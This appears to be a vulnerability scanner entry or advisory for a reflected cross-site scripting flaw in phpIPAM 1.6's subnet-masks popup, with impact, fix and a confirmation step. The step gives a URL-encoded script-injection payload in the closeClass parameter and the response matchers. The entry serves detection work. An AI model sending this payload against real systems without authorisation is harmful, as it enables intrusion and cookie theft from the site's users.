phpIPAM 1.6 contains a cross-site scripting vulnerability via the closeClass parameter at /subnet-masks/popup.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of phpIPAM or apply the necessary security patches provided by the vendor.

How to confirm it

Send: POST /app/login/login_check.php ; GET /app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code_2 == 200 and contains(body_2, "<script>alert(document.domain)</script>") && contains(body_2, "Subnet masks")
